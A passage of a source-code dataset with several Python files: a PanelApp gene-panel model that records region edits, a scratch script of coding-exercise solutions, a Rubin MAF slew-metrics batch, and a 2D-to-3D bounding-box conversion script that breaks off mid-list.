new_position = \"{}-{}\".format(position_37.lower, position_37.upper)\n\n description = \"GRCh37 position for {} was changed from {} to {}.\".format(\n region.name, old_position, new_position\n )\n else:\n description = \"GRCh37 position for {} was removed.\".format(\n region.label\n )\n\n tracks.append((TrackRecord.ISSUE_TYPES.ChangedPosition37, description))\n\n region.position_37 = position_37\n\n position_38 = region_data.get(\"position_38\")\n if isinstance(position_38, list):\n position_38 = NumericRange(position_38[0], position_38[1])\n\n if position_38 and position_38 != region.position_38:\n if region.position_38:\n old_position = \"{}-{}\".format(\n region.position_38.lower, region.position_38.upper\n )\n else:\n old_position = \"-\"\n\n new_position = \"{}-{}\".format(position_38.lower, position_38.upper)\n\n logging.debug(\n \"GRCh38 position for {} was changed from {} to {} panel:{}\".format(\n region.label,\n region.position_38,\n region_data.get(\"position_38\"),\n self,\n )\n )\n\n description = \"GRCh38 position for {} was changed from {} to {}.\".format(\n region.name, old_position, new_position\n )\n\n tracks.append((TrackRecord.ISSUE_TYPES.ChangedPosition38, description))\n\n region.position_38 = position_38\n\n type_of_variants = region_data.get(\"type_of_variants\")\n if type_of_variants and type_of_variants != region.type_of_variants:\n logging.debug(\n \"Variant Type for {} was changed from {} to {} panel:{}\".format(\n region.label,\n region.type_of_variants,\n region_data.get(\"type_of_variants\"),\n self,\n )\n )\n\n description = \"Variant type for {} was changed from {} to {}.\".format(\n region.name,\n region.type_of_variants,\n region_data.get(\"type_of_variants\"),\n )\n\n tracks.append((TrackRecord.ISSUE_TYPES.ChangedVariantType, description))\n\n region.type_of_variants = region_data.get(\"type_of_variants\")\n\n haploinsufficiency_score = region_data.get(\"haploinsufficiency_score\", \"\")\n if haploinsufficiency_score != region.haploinsufficiency_score:\n logging.debug(\n \"Haploinsufficiency Score for {} were changed from {} to {}\".format(\n region.label,\n region.haploinsufficiency_score,\n region_data.get(\"haploinsufficiency_score\", \"\"),\n )\n )\n\n description = \"Haploinsufficiency Score for {} was changed from {} to {}.\".format(\n region.name,\n region.haploinsufficiency_score,\n haploinsufficiency_score,\n )\n\n tracks.append(\n (\n TrackRecord.ISSUE_TYPES.ChangedHaploinsufficiencyScore,\n description,\n )\n )\n\n region.haploinsufficiency_score = haploinsufficiency_score\n\n triplosensitivity_score = region_data.get(\"triplosensitivity_score\", \"\")\n if triplosensitivity_score != region.triplosensitivity_score:\n logging.debug(\n \"Triplosensitivity Score for {} were changed from {} to {}\".format(\n region.label,\n region.triplosensitivity_score,\n region_data.get(\"triplosensitivity_score\", \"\"),\n )\n )\n\n description = \"Triplosensitivity Score for {} was changed from {} to {}.\".format(\n region.name, region.triplosensitivity_score, triplosensitivity_score\n )\n\n tracks.append(\n (TrackRecord.ISSUE_TYPES.ChangedTriplosensitivityScore, description)\n )\n\n region.triplosensitivity_score = triplosensitivity_score\n\n required_overlap_percentage = region_data.get(\"required_overlap_percentage\")\n if (\n required_overlap_percentage\n and required_overlap_percentage != region.required_overlap_percentage\n ):\n logging.debug(\n \"required_overlap_percentage Score for {} were changed from {} to {}\".format(\n region.label,\n region.required_overlap_percentage,\n region_data.get(\"required_overlap_percentage\", \"\"),\n )\n )\n\n description = \"Required Overlap Percentage for {} was changed from {} to {}.\".format(\n region.name,\n region.required_overlap_percentage,\n required_overlap_percentage,\n )\n\n tracks.append(\n (\n TrackRecord.ISSUE_TYPES.ChangedRequiredOverlapPercentage,\n description,\n )\n )\n\n region.required_overlap_percentage = required_overlap_percentage\n\n evidences_names = [\n ev.strip() for ev in region.evidence.values_list(\"name\", flat=True)\n ]\n\n logging.debug(\n \"Updating evidences_names for {} in panel:{}\".format(region.label, self)\n )\n if region_data.get(\"sources\"):\n add_evidences = [\n source.strip()\n for source in region_data.get(\"sources\")\n if source not in evidences_names\n ]\n\n has_expert_review = any(\n [evidence in Evidence.EXPERT_REVIEWS for evidence in add_evidences]\n )\n\n delete_evidences = [\n source\n for source in evidences_names\n if (has_expert_review or source not in Evidence.EXPERT_REVIEWS)\n and source not in region_data.get(\"sources\")\n ]\n\n if append_only and has_expert_review:\n # just remove expert review\n expert_reviews = [\n source\n for source in evidences_names\n if source in Evidence.EXPERT_REVIEWS\n ]\n for expert_review in expert_reviews:\n evs = region.evidence.filter(name=expert_review)\n for ev in evs:\n region.evidence.remove(ev)\n elif not append_only:\n for source in delete_evidences:\n evs = region.evidence.filter(name=source)\n for ev in evs:\n region.evidence.remove(ev)\n logging.debug(\n \"Removing evidence:{} for {} panel:{}\".format(\n source, region.label, self\n )\n )\n description = \"Source {} was removed from {}.\".format(\n source, region.label\n )\n tracks.append(\n (TrackRecord.ISSUE_TYPES.RemovedSource, description)\n )\n\n for source in add_evidences:\n logging.debug(\n \"Adding new evidence:{} for {} panel:{}\".format(\n source, region.label, self\n )\n )\n evidence = Evidence.objects.create(\n name=source, rating=5, reviewer=user.reviewer\n )\n region.evidence.add(evidence)\n\n description = \"Source {} was added to {}.\".format(\n source, region.label\n )\n tracks.append((TrackRecord.ISSUE_TYPES.NewSource, description))\n\n moi = region_data.get(\"moi\")\n if moi and region.moi != moi:\n logging.debug(\n \"Updating moi for {} in panel:{}\".format(region.label, self)\n )\n\n description = \"Model of inheritance for {} was changed from {} to {}\".format(\n region.label, region.moi, moi\n )\n region.moi = moi\n tracks.append(\n (TrackRecord.ISSUE_TYPES.SetModeofInheritance, description)\n )\n\n phenotypes = region_data.get(\"phenotypes\")\n if phenotypes and phenotypes != region.phenotypes:\n logging.debug(\n \"Updating phenotypes for {} in panel:{}\".format(region.label, self)\n )\n\n description = None\n\n if append_only:\n description = \"Added phenotypes {} for {}\".format(\n \"; \".join(phenotypes), region.label\n )\n region.phenotypes = list(set(region.phenotypes + phenotypes))\n elif phenotypes != region.phenotypes:\n description = \"Phenotypes for {} were changed from {} to {}\".format(\n region.label,\n \"; \".join(region.phenotypes),\n \"; \".join(phenotypes),\n )\n region.phenotypes = phenotypes\n\n if description:\n tracks.append((TrackRecord.ISSUE_TYPES.SetPhenotypes, description))\n\n penetrance = region_data.get(\"penetrance\")\n if penetrance and region.penetrance != penetrance:\n logging.debug(\n \"Updating penetrance for {} in panel:{}\".format(region.label, self)\n )\n description = \"Penetrance for {} was change from {} to {}\".format(\n region.label, region.penetrance, penetrance\n )\n region.penetrance = penetrance\n tracks.append((TrackRecord.ISSUE_TYPES.SetPenetrance, description))\n\n publications = region_data.get(\"publications\")\n if publications and region.publications != publications:\n logging.debug(\n \"Updating publications for {} in panel:{}\".format(\n region.label, self\n )\n )\n description = \"Publications for {} were changed from {} to {}\".format(\n region.label,\n \"; \".join(region.publications),\n \"; \".join(publications),\n )\n region.publications = publications\n tracks.append((TrackRecord.ISSUE_TYPES.SetPublications, description))\n\n current_tags = [tag.pk for tag in region.tags.all()]\n tags = region_data.get(\"tags\")\n if tags or current_tags:\n if not tags:\n tags = []\n\n new_tags = [tag.pk for tag in tags]\n add_tags = [tag for tag in tags if tag.pk not in current_tags]\n delete_tags = [tag for tag in current_tags if tag not in new_tags]\n\n if not append_only:\n for tag in delete_tags:\n tag = region.tags.get(pk=tag)\n region.tags.remove(tag)\n logging.debug(\n \"Removing tag:{} for {} panel:{}\".format(\n tag.name, region.label, self\n )\n )\n description = \"Tag {} was removed from {}.\".format(\n tag, region.label\n )\n tracks.append((TrackRecord.ISSUE_TYPES.RemovedTag, description))\n\n for tag in add_tags:\n logging.debug(\n \"Adding new tag:{} for {} panel:{}\".format(\n tag, region.label, self\n )\n )\n region.tags.add(tag)\n\n description = \"Tag {} was added to {}.\".format(tag, region.label)\n tracks.append((TrackRecord.ISSUE_TYPES.AddedTag, description))\n\n new_gene = region_data.get(\"gene\")\n gene_name = region_data.get(\"gene_name\")\n\n if (not new_gene or remove_gene) and region.gene_core:\n logging.debug(\n \"{} in panel:{} was removed\".format(region.gene[\"gene_name\"], self)\n )\n\n description = \"Gene: {} was removed.\".format(\n region.gene_core.gene_symbol\n )\n\n tracks.append((TrackRecord.ISSUE_TYPES.RemovedGene, description))\n region.gene_core = None\n region.gene = None\n self.clear_django_cache()\n elif new_gene and region.gene_core != new_gene:\n logging.debug(\n \"{} in panel:{} has changed to gene:{}\".format(\n gene_name, self, new_gene.gene_symbol\n )\n )\n\n if region.gene_core:\n description = \"Gene: {} was changed to {}.\".format(\n region.gene_core.gene_symbol,\n new_gene.gene_symbol,\n self.panel.name,\n )\n else:\n description = \"Gene was set to {}. Panel: {}\".format(\n new_gene.gene_symbol, self.panel.name\n )\n\n tracks.append((TrackRecord.ISSUE_TYPES.AddedTag, description))\n\n region.gene_core = new_gene\n region.gene = new_gene.dict_tr()\n self.clear_django_cache()\n elif gene_name and region.gene.get(\"gene_name\") != gene_name:\n logging.debug(\n \"Updating gene_name for {} in panel:{}\".format(region.label, self)\n )\n region.gene[\"gene_name\"] = gene_name\n\n if tracks:\n logging.debug(\n \"Adding tracks for {} in panel:{}\".format(region.label, self)\n )\n current_status = region.saved_gel_status\n status = region.evidence_status(True)\n\n if current_status != status:\n if current_status > 3:\n current_status = 3\n elif current_status < 0:\n current_status = 0\n\n current_status_human = region.GEL_STATUS[current_status]\n\n if status > 3:\n status = 3\n elif status < 0:\n status = 0\n\n status_human = region.GEL_STATUS[status]\n\n description = \"Rating Changed from {current_status_human} to {status_human}\".format(\n current_status_human=current_status_human,\n status_human=status_human,\n )\n\n tracks.append(\n (TrackRecord.ISSUE_TYPES.GelStatusUpdate, description)\n )\n description = \"\\n\".join([t[1] for t in tracks])\n track = TrackRecord.objects.create(\n gel_status=status,\n curator_status=0,\n user=user,\n issue_type=\",\".join([t[0] for t in tracks]),\n issue_description=description,\n )\n region.track.add(track)\n self.add_activity(user, description, region)\n\n region.save()\n self.clear_cache()\n self._update_saved_stats()\n return region\n else:\n return False\n\n def copy_gene_reviews_from(self, genes, copy_from_panel):\n \"\"\"Copy gene reviews from specified panel\"\"\"\n if self.is_super_panel:\n raise IsSuperPanelException\n\n with transaction.atomic():\n current_genes = {\n gpes.gene.get(\"gene_symbol\"): gpes\n for gpes in self.get_all_genes_extra.prefetch_related(\n \"evidence__reviewer\"\n )\n }\n copy_from_genes = {\n gpes.gene.get(\"gene_symbol\"): gpes\n for gpes in copy_from_panel.get_all_genes_extra\n }\n\n # The following code goes through all evaluations and creates evaluations, evidences, comments in bulk\n new_evaluations = {}\n panel_name = copy_from_panel.level4title.name\n\n for gene_symbol in genes:\n if current_genes.get(gene_symbol) and copy_from_genes.get(gene_symbol):\n copy_from_gene = copy_from_genes.get(gene_symbol)\n gene = current_genes.get(gene_symbol)\n\n filtered_evaluations = [\n ev\n for ev in copy_from_gene.evaluation.all()\n if ev.user_id not in gene.evaluators\n ]\n\n filtered_evidences = [\n ev\n for ev in copy_from_gene.evidence.all()\n if ev.reviewer and ev.reviewer.user_id not in gene.evaluators\n ]\n\n for evaluation in filtered_evaluations:\n to_create = {\n \"gene\": gene,\n \"evaluation\": None,\n \"comments\": [],\n \"evidences\": [],\n }\n\n version = evaluation.version if evaluation.version else \"0\"\n evaluation.version = \"Imported from {} panel version {}\".format(\n panel_name, version\n )\n to_create[\"evaluation\"] = evaluation\n comments = deepcopy(evaluation.comments.all())\n evaluation.pk = None\n evaluation.create_comments = []\n for comment in comments:\n comment.pk = None\n evaluation.create_comments.append(comment)\n\n new_evaluations[\n \"{}_{}\".format(gene_symbol, evaluation.user_id)\n ] = to_create\n\n for evidence in filtered_evidences:\n evidence.pk = None\n gene_id = \"{}_{}\".format(gene_symbol, evidence.reviewer.user_id)\n if new_evaluations.get(gene_id):\n new_evaluations[gene_id][\"evidences\"].append(evidence)\n\n Evaluation.objects.bulk_create(\n [new_evaluations[key][\"evaluation\"] for key in new_evaluations]\n )\n\n Evidence.objects.bulk_create(\n [\n ev\n for key in new_evaluations\n for ev in new_evaluations[key][\"evidences\"]\n ]\n )\n\n Comment.objects.bulk_create(\n [\n c\n for key in new_evaluations\n for c in new_evaluations[key][\"evaluation\"].create_comments\n ]\n )\n\n evidences = []\n evaluations = []\n comments = []\n\n for gene_user in new_evaluations.values():\n gene_pk = gene_user[\"gene\"].pk\n\n for evidence in gene_user[\"evidences\"]:\n evidences.append(\n {\n \"evidence_id\": evidence.pk,\n \"genepanelentrysnapshot_id\": gene_pk,\n }\n )\n\n evaluations.append(\n {\n \"evaluation_id\": gene_user[\"evaluation\"].pk,\n \"genepanelentrysnapshot_id\": gene_pk,\n }\n )\n\n for comment in gene_user[\"evaluation\"].create_comments:\n comments.append(\n {\n \"comment_id\": comment.pk,\n \"evaluation_id\": gene_user[\"evaluation\"].pk,\n }\n )\n\n self.genepanelentrysnapshot_set.model.evaluation.through.objects.bulk_create(\n [\n self.genepanelentrysnapshot_set.model.evaluation.through(**ev)\n for ev in evaluations\n ]\n )\n\n self.genepanelentrysnapshot_set.model.evidence.through.objects.bulk_create(\n [\n self.genepanelentrysnapshot_set.model.evidence.through(**ev)\n for ev in evidences\n ]\n )\n\n Evaluation.comments.through.objects.bulk_create(\n [Evaluation.comments.through(**c) for c in comments]\n )\n\n self._update_saved_stats()\n return len(evaluations)\n\n def add_activity(self, user, text, entity=None):\n \"\"\"Adds activity for this panel\"\"\"\n\n extra_info = {}\n if entity:\n extra_info = {\n \"entity_name\": entity.name,\n \"entity_type\": entity._entity_type,\n }\n\n Activity.log(user=user, panel_snapshot=self, text=text, extra_info=extra_info)\n","repo_name":"genomicsengland/panelapp","sub_path":"panelapp/panels/models/genepanelsnapshot.py","file_name":"genepanelsnapshot.py","file_ext":"py","file_size_in_byte":123211,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"38124623003","text":"\nimport numpy as np\na = np.array([1,2,3])\nb = np.array([4,5,6])\nc = a*b\nd = np.dot(a,b)\n\nprint(c)\nprint(d)\nprint(b[0])\n\nimport sys\nsys.exit()\n\nclass Units_vel:\n kph = \"km/h\"\n mph = \"mph\"\n\n\nclass Car:\n def __init__(self, max_vel:int, units:Units_vel=Units_vel.kph):\n self.max_vel = max_vel\n self.units = units\n\n def __str__(self):\n return f\"Car with the maximum speed of {self.max_vel} {self.units}\"\n\n\nclass Boat:\n def __init__(self, knots:int):\n self.knots = knots\n\n def __str__(self):\n return f\"Boat with the maximum speed of {self.knots} knots\"\n\n\nprint(Car(120, Units_vel.kph))\nprint(Boat(82))\n\n\nDIGITS = \"0123456789\"\nLETTERS = \"abcdefghijklmnopqrstuvwxyz\"\n\n\ndef missingCharacters(s:str):\n # Write your code here\n rta = \"\"\n to_array = [char for char in s]\n\n group_letter = list()\n group_number = list()\n for char in to_array:\n if char in LETTERS:\n group_letter.append(char)\n else:\n group_number.append(char)\n\n for number in [num for num in DIGITS]:\n if number not in group_number:\n rta += number\n\n for letter in [let for let in LETTERS]:\n if letter not in group_letter:\n rta += letter\n\n return rta\n\n\ns = \"7985interdisciplinario12\"\nrta = missingCharacters(s)\nprint(rta)\nprint(\"0346bfghjkmoquvwxz\")\n\n\n\n\n\n\n\n\n\ndef findSum(numbers, queries):\n acum_numbers = [0]\n acum_zeros = [0]\n for number in numbers:\n acum_numbers.append(acum_numbers[-1] + number)\n acum_zeros.append(acum_zeros[-1] + (number == 0))\n #print(acum_numbers, acum_zeros)\n return [\n acum_numbers[end] - acum_numbers[init - 1] + x * (\n acum_zeros[end] - acum_zeros[init - 1]\n )\n for init, end, x in queries]\n\n\n\n\n\nnumbers = [5, 10, 10]\nqueries = [[1, 2, 5]]\nprint(findSum(numbers, queries), 15)\n\n\ndef mostBalancedPartition(parent, files_size):\n n = len(parent)\n children = [[] for _ in range(n)]\n for i in range(1, n):\n children[parent[i]].append(i)\n size_sums = [None for _ in range(n)]\n\n def size_sums_rec(i):\n size_sums[i] = files_size[i] + sum(size_sums_rec(c) for c in children[i])\n return size_sums[i]\n\n size_sums_rec(0)\n return min(abs(size_sums[0] - 2 * ss) for ss in size_sums[1:])\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef renameFile(newName, oldName):\n size_new_name = len(newName)\n size_old_name = len(oldName)\n dp = [1 for j in range(size_old_name + 1)]\n for i in range(1, size_new_name + 1):\n dpp = [0 for _ in range(size_old_name + 1)]\n for j in range(i, size_old_name + 1):\n dpp[j] = dpp[j - 1]\n if newName[i - 1] == oldName[j - 1]:\n dpp[j] += dp[j - 1]\n dp = dpp\n return dp[-1] % (10**9 + 7)\n\n\nclass Node:\n def __init__(self, parent, l, r, op=max):\n self.parent = parent\n self.l = l\n self.r = r\n self.lc = None\n self.rc = None\n self.val = r - l\n self.op = op\n\n def split(self, x):\n # No balancing, but doesn't seem to give timeouts.\n assert self.l <= x <= self.r\n if x == self.l or x == self.r:\n # Split lies on borders.\n return\n if self.lc:\n if x == self.lc.r:\n # Split lies on mid split.\n return\n if x < self.lc.r:\n self.lc.split(x)\n else:\n self.rc.split(x)\n self.val = self.op(self.lc.val, self.rc.val)\n else:\n self.lc = Node(parent=self, l=self.l, r=x)\n self.rc = Node(parent=self, l=x, r=self.r)\n self.val = self.op(x - self.l, self.r - x)\n\n\ndef getMaxArea(w, h, isVertical, distance):\n w_root = Node(parent=None, l=0, r=w)\n h_root = Node(parent=None, l=0, r=h)\n ans = []\n for iv, d in zip(isVertical, distance):\n if iv:\n w_root.split(d)\n else:\n h_root.split(d)\n ans.append(w_root.val * h_root.val)\n return ans\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nfrom calendar import *\nyear = 2023\nprint(calendar(year, 2,1,8,4))\n\n\nfrom langdetect import detect\ntext = \"hola mundo, como estas\"\nprint(detect(text))","repo_name":"wisrovi/TFM2022","sub_path":"Estudiando con CRISP-DM/remote_monitor/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4189,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"780079367","text":"\"\"\"Sets of slew metrics.\n\"\"\"\n__all__ = (\"slewBasics\",)\n\nimport numpy as np\n\nimport rubin_sim.maf.metric_bundles as mb\nimport rubin_sim.maf.metrics as metrics\nimport rubin_sim.maf.slicers as slicers\n\nfrom .col_map_dict import col_map_dict\nfrom .common import standard_metrics\n\n\ndef slewBasics(colmap=None, run_name=\"opsim\", sql_constraint=None):\n \"\"\"Generate a simple set of statistics about the slew times and distances.\n\n Parameters\n ----------\n colmap : `dict` or None, optional\n A dictionary with a mapping of column names.\n runName : `str`, optional\n The name of the simulated survey.\n sqlConstraint : `str` or None, optional\n SQL constraint to add to metrics.\n\n Returns\n -------\n metric_bundleDict : `dict` of `maf.MetricBundle`\n \"\"\"\n\n if colmap is None:\n colmap = col_map_dict()\n\n bundleList = []\n\n # Calculate basic stats on slew times. (mean/median/min/max + total).\n slicer = slicers.UniSlicer()\n\n info_label = \"All visits\"\n if sql_constraint is not None and len(sql_constraint) > 0:\n info_label = \"%s\" % (sql_constraint)\n displayDict = {\n \"group\": \"Slew\",\n \"subgroup\": \"Slew Basics\",\n \"order\": -1,\n \"caption\": None,\n }\n # Add total number of slews.\n metric = metrics.CountMetric(colmap[\"slewtime\"], metric_name=\"Slew Count\")\n displayDict[\"caption\"] = \"Total number of slews recorded.\"\n displayDict[\"order\"] += 1\n bundle = mb.MetricBundle(metric, slicer, sql_constraint, info_label=info_label, display_dict=displayDict)\n bundleList.append(bundle)\n for metric in standard_metrics(colmap[\"slewtime\"]):\n displayDict[\"caption\"] = \"%s in seconds.\" % (metric.name)\n displayDict[\"order\"] += 1\n bundle = mb.MetricBundle(\n metric,\n slicer,\n sql_constraint,\n info_label=info_label,\n display_dict=displayDict,\n )\n bundleList.append(bundle)\n\n # Slew Time histogram.\n slicer = slicers.OneDSlicer(slice_col_name=colmap[\"slewtime\"], bin_size=2)\n metric = metrics.CountMetric(col=colmap[\"slewtime\"], metric_name=\"Slew Time Histogram\")\n info_label = \"All visits\"\n plotDict = {\"log_scale\": True, \"ylabel\": \"Count\"}\n displayDict[\"caption\"] = \"Histogram of slew times (seconds) for all visits.\"\n displayDict[\"order\"] += 1\n bundle = mb.MetricBundle(\n metric,\n slicer,\n sql_constraint,\n info_label=info_label,\n plot_dict=plotDict,\n display_dict=displayDict,\n )\n bundleList.append(bundle)\n # Zoom in on slew time histogram near 0.\n slicer = slicers.OneDSlicer(slice_col_name=colmap[\"slewtime\"], bin_size=0.2, bin_min=0, bin_max=20)\n metric = metrics.CountMetric(col=colmap[\"slewtime\"], metric_name=\"Zoom Slew Time Histogram\")\n info_label = \"All visits\"\n plotDict = {\"log_scale\": True, \"ylabel\": \"Count\"}\n displayDict[\"caption\"] = \"Histogram of slew times (seconds) for all visits (zoom).\"\n displayDict[\"order\"] += 1\n bundle = mb.MetricBundle(\n metric,\n slicer,\n sql_constraint,\n info_label=info_label,\n plot_dict=plotDict,\n display_dict=displayDict,\n )\n bundleList.append(bundle)\n\n # Slew distance histogram, if available.\n if colmap[\"slewdist\"] is not None:\n bin_size = 2.0\n if not colmap[\"raDecDeg\"]:\n bin_size = np.radians(bin_size)\n slicer = slicers.OneDSlicer(slice_col_name=colmap[\"slewdist\"], bin_size=bin_size)\n metric = metrics.CountMetric(col=colmap[\"slewdist\"], metric_name=\"Slew Distance Histogram\")\n plotDict = {\"log_scale\": True, \"ylabel\": \"Count\"}\n displayDict[\"caption\"] = \"Histogram of slew distances (angle) for all visits.\"\n displayDict[\"order\"] += 1\n bundle = mb.MetricBundle(\n metric,\n slicer,\n sql_constraint,\n info_label=info_label,\n plot_dict=plotDict,\n display_dict=displayDict,\n )\n bundleList.append(bundle)\n # Zoom on slew distance histogram.\n bin_max = 20.0\n if not colmap[\"raDecDeg\"]:\n bin_max = np.radians(bin_max)\n slicer = slicers.OneDSlicer(\n slice_col_name=colmap[\"slewdist\"],\n bin_size=bin_size / 10.0,\n bin_min=0,\n bin_max=bin_max,\n )\n metric = metrics.CountMetric(col=colmap[\"slewdist\"], metric_name=\"Zoom Slew Distance Histogram\")\n plotDict = {\"log_scale\": True, \"ylabel\": \"Count\"}\n displayDict[\"caption\"] = \"Histogram of slew distances (angle) for all visits.\"\n displayDict[\"order\"] += 1\n bundle = mb.MetricBundle(\n metric,\n slicer,\n sql_constraint,\n info_label=info_label,\n plot_dict=plotDict,\n display_dict=displayDict,\n )\n bundleList.append(bundle)\n\n # Set the run_name for all bundles and return the bundleDict.\n for b in bundleList:\n b.set_run_name(run_name)\n return mb.make_bundles_dict_from_list(bundleList)\n","repo_name":"lsst/rubin_sim","sub_path":"rubin_sim/maf/batches/slew_batch.py","file_name":"slew_batch.py","file_ext":"py","file_size_in_byte":5086,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"37"} +{"seq_id":"15641755960","text":"# converts the 2d boxes into 3d boxes\r\nimport math\r\nimport numpy as np\r\nimport torch\r\n\r\n\r\ndef infer_depth(top, bot, h_real):\r\n \"\"\"infer the distance of the object based on the total hight of the object\"\"\"\r\n hight = top - bot\r\n a = 651.6301600000004 * h_real / 0.8\r\n return a / np.abs(hight)\r\n\r\n\r\ndef infer_depth_from_top(top, h_real):\r\n \"\"\"infer the distance of the object based on how high it is relative to the vanishing point\"\"\"\r\n offset = 245\r\n # print(600-top)\r\n hight = 600 - top - offset\r\n a = 420.17 * (h_real - 0.415) / (0.95 - 0.415)\r\n return a / np.abs(hight)\r\n\r\n\r\ndef infer_width(shift_p, depth):\r\n \"\"\"infer the horizontal shift of a point based on the distance of the object to the camera at that pixel\"\"\"\r\n a_y = 0.0012277075719758462\r\n offset_y = 400\r\n return (shift_p - offset_y) * a_y * depth\r\n\r\n\r\ndef infer_rot(top, bot, d, w, dir):\r\n \"\"\"calculate the extra distance the far corner must have for the object to fit in the bounding box\"\"\"\r\n # requires the outer pixel values as well as the depth and width of the object\r\n l = top[0]\r\n r = bot[0]\r\n offset_y = 400\r\n l = l - offset_y\r\n r = r - offset_y\r\n a = 0.0012277075719758462\r\n if dir == \"c\":\r\n y = (\r\n a**2 * d * l * (r - l)\r\n + np.sqrt((a**2) * (l**2 * (w**2) - d**2 * (l - r) ** 2) + w**2)\r\n ) / (a**2 * (l**2) + 1)\r\n elif dir == \"a\":\r\n y = (\r\n a**2 * d * r * (l - r)\r\n + np.sqrt((a**2) * (r**2 * (w**2) - d**2 * (l - r) ** 2) + w**2)\r\n ) / (a**2 * (r**2) + 1)\r\n else:\r\n print(\"except unknown roation, name either c or a\")\r\n return y\r\n\r\n\r\ndef cube_rules(xyxy, label, h_real, w_real, d_real, use_pure_hight):\r\n top, bot = xyxy[0:2], xyxy[2:4]\r\n depth = infer_depth(top[1], bot[1], h_real)\r\n if use_pure_hight and bot[1] > 595:\r\n depth = infer_depth_from_top(top[1], h_real)\r\n if label[-1] == \"c\":\r\n shift = infer_width(bot[0], depth)\r\n y_diff = infer_rot(top, bot, depth, w_real, \"c\")\r\n rot = np.arcsin(y_diff / w_real)\r\n if math.isnan(rot):\r\n rot = torch.tensor(0, dtype=torch.float32)\r\n depth_c = depth + np.sin(rot) * w_real / 2 + np.cos(rot) * d_real / 2\r\n shift_c = shift - np.cos(rot) * w_real / 2 + np.sin(rot) * d_real / 2\r\n # if the object is likley not fully in frame change start point for possible states to a visible point\r\n # if bot[0]>795:\r\n # shift = infer_width(top[0],depth)\r\n # shift = shift+w_real/2\r\n # else:\r\n # shift = shift-w_real/2\r\n # depth = depth+d_real/2\r\n\r\n # if the roation is in the other direction\r\n elif label[-1] == \"a\":\r\n shift = infer_width(top[0], depth)\r\n y_diff = infer_rot(top, bot, depth, w_real, \"a\")\r\n rot = np.arcsin(y_diff / w_real)\r\n rot = -rot\r\n if math.isnan(rot):\r\n rot = torch.tensor(0, dtype=torch.float32)\r\n depth_c = depth + np.sin(-rot) * w_real / 2 + np.cos(-rot) * d_real / 2\r\n shift_c = shift + np.cos(-rot) * w_real / 2 - np.sin(-rot) * d_real / 2\r\n # if top[0]<5:\r\n # shift = infer_width(bot[0],depth)\r\n # shift = shift-w_real/2\r\n # else:\r\n # shift = shift+w_real/2\r\n # depth = depth+d_real/2\r\n else:\r\n shift = infer_width(top[0], depth)\r\n y_diff = infer_rot(top, bot, depth, w_real, \"a\")\r\n rot = np.arcsin(y_diff / w_real)\r\n rot = -rot\r\n if math.isnan(rot):\r\n rot = torch.tensor(0, dtype=torch.float32)\r\n depth_c = depth\r\n shift_c = shift + np.cos(-rot) * w_real / 2 - np.sin(-rot) * d_real / 2\r\n return depth, shift, depth_c, shift_c, rot, [d_real, w_real, h_real]\r\n\r\n\r\ndef corners_from_center(x, y, rotation, sizes):\r\n # compute rotational matrix around yaw axis\r\n R = np.array(\r\n [\r\n [+np.cos(rotation), 0, +np.sin(rotation)],\r\n [0, 1, 0],\r\n [-np.sin(rotation), 0, +np.cos(rotation)],\r\n ]\r\n )\r\n\r\n # 3D bounding box dimensions\r\n l = sizes[0]\r\n w = sizes[1]\r\n h = sizes[2]\r\n\r\n # shift for each corner\r\n z_corners = [l / 2, l / 2, -l / 2, -l / 2, l / 2, l / 2, -l / 2, -l / 2]\r\n y_corners = [0, 0, 0, 0, -h, -h, -h, -h]\r\n x_corners = [w / 2, -w / 2, -w / 2, w / 2, w / 2, -w / 2, -w / 2, w / 2]\r\n\r\n # rotate and translate 3D bounding box\r\n corners_3D = np.dot(R, np.array([x_corners, y_corners, z_corners]))\r\n corners_3D[0, :] = corners_3D[0, :] + y.numpy() # object.t(0);\r\n corners_3D[1, :] = corners_3D[1, :] + 0.43 # .42#object.t(1);\r\n corners_3D[2, :] = corners_3D[2, :] + x.numpy() # object.t(2);\r\n return corners_3D\r\n\r\n\r\ndef apply_for_cube(xyxy, label, corners_3D, boundry, h_real, w_real, d_real):\r\n use_pure_hight = True\r\n depth, shift, depth_c, shift_c, rot, sizes = cube_rules(\r\n xyxy, label, h_real, w_real, d_real, use_pure_hight\r\n )\r\n # depth_c = depth_c+0.11\r\n corners_3D.append(corners_from_center(depth_c, shift_c, rot, sizes))\r\n if label_reaches_border(xyxy, use_pure_hight):\r\n boundry = True\r\n corners_3D_rot_0 = corners_from_center(depth, shift, 0, sizes)\r\n corners_3D.append(corners_3D_rot_0)\r\n return depth, shift, depth_c, shift_c, rot, sizes, boundry, corners_3D\r\n\r\n\r\ndef label_reaches_border(xyxy, use_pure_hight):\r\n if use_pure_hight:\r\n min_y = -1\r\n else:\r\n min_y = 5\r\n # check if label far enough at the edge to make a partial detection likely\r\n if max(xyxy[0], xyxy[2]) > 795 or min(xyxy[0], xyxy[2]) < 5:\r\n return True\r\n if min(xyxy[1], xyxy[3]) > 595 or min(xyxy[1], xyxy[3]) < min_y:\r\n return True\r\n return False\r\n\r\n\r\ndef convert_2d_3d(xyxy, im0, label):\r\n \"\"\"Converting a 2d object detection to a 3d bounding box, this is done based on know information about the sizes of the\r\n objects and the intrisic and extrisic matrix of the camera. The size of each object is stored in this function and the correct\r\n one matched to the passed label before requesting the calculations to convert to 3d bb\r\n @param xyxy: the bounding box provided by yolo\r\n @param im0: the image the detection happened on\r\n @param label: the type of object that was detected as well as the confidence\r\n @return corners_3D: all 8 corners of the 3d bounding box\r\n @return boundry: if the object hits the corners of the image and is therefore uncertain\r\n @return (depth, shift, depth_c, shift_c, rot): detected information about distances, unused at the moment\r\n \"\"\"\r\n \"\"\"movable objects are ['sklappbox_c','sklappbox_a','box_c','box_a','chair','klappbox_c','klappbox_a','sbox_c','sbox_a']\r\n workstations can be ['workstation_c', 'workstation_a]'\"\"\"\r\n movable_names = [\r\n \"sklappbox_c\",\r\n \"sklappbox_a\",\r\n \"box_c\",\r\n \"box_a\",\r\n \"chair\",\r\n \"klappbox_c\",\r\n \"klappbox_a\",\r\n \"sbox_c\",\r\n \"sbox_a\",\r\n \"hocker_c\",\r\n 